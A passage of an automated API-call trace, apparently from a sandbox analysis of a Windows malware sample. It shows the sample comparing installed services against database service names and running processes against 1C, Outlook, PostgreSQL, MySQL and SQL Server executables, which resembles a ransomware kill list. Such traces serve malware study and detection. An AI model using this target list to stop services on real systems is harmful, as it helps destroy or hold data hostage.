(lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0068.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0068.512] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0068.512] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0068.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0068.512] lstrlenW (lpString="BFE") returned 3 [0068.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0068.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0068.512] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0068.513] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0068.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0068.513] lstrlenW (lpString="CryptSvc") returned 8 [0068.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0068.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0068.513] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0068.513] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0068.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0068.513] lstrlenW (lpString="CscService") returned 10 [0068.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0068.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0068.513] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0068.513] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0068.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0068.514] lstrlenW (lpString="DcomLaunch") returned 10 [0068.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0068.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0068.514] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0068.514] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0068.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0068.514] lstrlenW (lpString="Dhcp") returned 4 [0068.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0068.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0068.514] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0068.514] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0068.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0068.514] lstrlenW (lpString="Dnscache") returned 8 [0068.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0068.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0068.515] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0068.515] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0068.515] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0068.515] lstrlenW (lpString="DPS") returned 3 [0068.515] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0068.515] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0068.515] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0068.515] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0068.515] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0068.515] lstrlenW (lpString="eventlog") returned 8 [0068.515] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0068.515] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0068.515] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0068.516] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0068.516] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0068.516] lstrlenW (lpString="EventSystem") returned 11 [0068.516] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0068.516] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0068.516] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0068.516] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0068.516] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0068.516] lstrlenW (lpString="FontCache") returned 9 [0068.516] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0068.516] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0068.516] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0068.516] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0068.517] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0068.517] lstrlenW (lpString="gpsvc") returned 5 [0068.517] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0068.517] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0068.517] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0068.517] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0068.517] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0068.517] lstrlenW (lpString="iphlpsvc") returned 8 [0068.517] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0068.517] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0068.517] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0068.517] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0068.517] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0068.517] lstrlenW (lpString="LanmanServer") returned 12 [0068.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0068.518] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0068.518] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0068.518] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0068.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0068.519] lstrlenW (lpString="LanmanWorkstation") returned 17 [0068.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0068.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0068.519] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0068.519] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0068.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0068.519] lstrlenW (lpString="lmhosts") returned 7 [0068.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0068.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0068.519] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0068.519] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0068.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0068.519] lstrlenW (lpString="MMCSS") returned 5 [0068.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0068.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0068.520] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0068.520] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0068.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0068.520] lstrlenW (lpString="MpsSvc") returned 6 [0068.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0068.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0068.520] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0068.520] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0068.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0068.520] lstrlenW (lpString="Netman") returned 6 [0068.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0068.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0068.520] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0068.521] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0068.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0068.521] lstrlenW (lpString="netprofm") returned 8 [0068.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0068.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0068.521] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0068.521] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0068.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0068.521] lstrlenW (lpString="NlaSvc") returned 6 [0068.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0068.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0068.521] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0068.521] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0068.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0068.522] lstrlenW (lpString="nsi") returned 3 [0068.522] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0068.522] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0068.522] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0068.522] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0068.522] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0068.522] lstrlenW (lpString="PcaSvc") returned 6 [0068.522] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0068.522] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0068.522] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0068.522] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0068.522] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0068.522] lstrlenW (lpString="PlugPlay") returned 8 [0068.523] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0068.523] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0068.523] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0068.523] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0068.523] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0068.523] lstrlenW (lpString="Power") returned 5 [0068.523] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0068.523] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0068.523] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0068.523] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0068.523] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0068.523] lstrlenW (lpString="ProfSvc") returned 7 [0068.523] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0068.523] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0068.524] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0068.524] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0068.524] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0068.524] lstrlenW (lpString="RpcEptMapper") returned 12 [0068.524] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0068.524] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0068.524] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0068.524] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0068.524] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0068.524] lstrlenW (lpString="RpcSs") returned 5 [0068.524] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0068.524] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0068.524] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0068.525] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0068.525] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0068.525] lstrlenW (lpString="SamSs") returned 5 [0068.525] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0068.525] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0068.525] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0068.525] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0068.525] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0068.525] lstrlenW (lpString="Schedule") returned 8 [0068.525] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0068.525] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0068.525] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0068.525] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0068.525] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0068.525] lstrlenW (lpString="SENS") returned 4 [0068.526] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0068.526] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0068.526] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0068.526] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0068.526] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0068.526] lstrlenW (lpString="ShellHWDetection") returned 16 [0068.526] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0068.526] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0068.526] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0068.526] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0068.526] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0068.526] lstrlenW (lpString="Spooler") returned 7 [0068.527] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0068.527] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0068.527] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0068.527] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0068.527] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0068.527] lstrlenW (lpString="sppsvc") returned 6 [0068.527] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0068.527] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0068.527] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0068.527] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0068.527] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0068.527] lstrlenW (lpString="SysMain") returned 7 [0068.527] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0068.527] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0068.527] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0068.527] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0068.528] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0068.528] lstrlenW (lpString="Themes") returned 6 [0068.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0068.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0068.528] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0068.528] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0068.528] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0068.528] lstrlenW (lpString="TrkWks") returned 6 [0068.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0068.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0068.528] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0068.528] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0068.528] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0068.528] lstrlenW (lpString="UxSms") returned 5 [0068.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0068.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0068.529] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0068.529] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0068.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0068.529] lstrlenW (lpString="WdiServiceHost") returned 14 [0068.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0068.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0068.529] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0068.529] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0068.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0068.529] lstrlenW (lpString="WdiSystemHost") returned 13 [0068.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0068.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0068.529] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0068.529] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0068.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0068.530] lstrlenW (lpString="WinDefend") returned 9 [0068.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0068.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0068.530] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0068.530] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0068.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0068.530] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0068.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0068.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0068.530] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0068.530] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0068.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0068.530] lstrlenW (lpString="Winmgmt") returned 7 [0068.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0068.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0068.531] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0068.531] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0068.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0068.531] lstrlenW (lpString="wscsvc") returned 6 [0068.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0068.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0068.531] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0068.531] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0068.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0068.531] lstrlenW (lpString="wuauserv") returned 8 [0068.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0068.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0068.531] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0068.532] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0068.532] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0068.532] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x50e1c8 | out: hHeap=0x4c0000) returned 1 [0068.532] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e4 [0068.542] Process32FirstW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0068.543] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0068.545] lstrlenW (lpString="System") returned 6 [0068.545] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0068.545] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0068.545] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0068.545] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0068.545] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0068.545] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0068.545] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0068.546] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0068.547] lstrlenW (lpString="smss.exe") returned 8 [0068.547] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0068.547] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0068.547] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0068.548] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0068.548] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0068.548] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0068.548] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0068.548] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0068.737] lstrlenW (lpString="csrss.exe") returned 9 [0068.737] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0068.739] lstrlenW (lpString="wininit.exe") returned 11 [0068.739] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0068.743] lstrlenW (lpString="csrss.exe") returned 9 [0068.743] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0068.745] lstrlenW (lpString="winlogon.exe") returned 12 [0068.745] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0068.747] lstrlenW (lpString="services.exe") returned 12 [0068.747] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0068.748] lstrlenW (lpString="lsass.exe") returned 9 [0068.748] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0068.750] lstrlenW (lpString="lsm.exe") returned 7 [0068.750] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0068.753] lstrlenW (lpString="svchost.exe") returned 11 [0068.753] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, 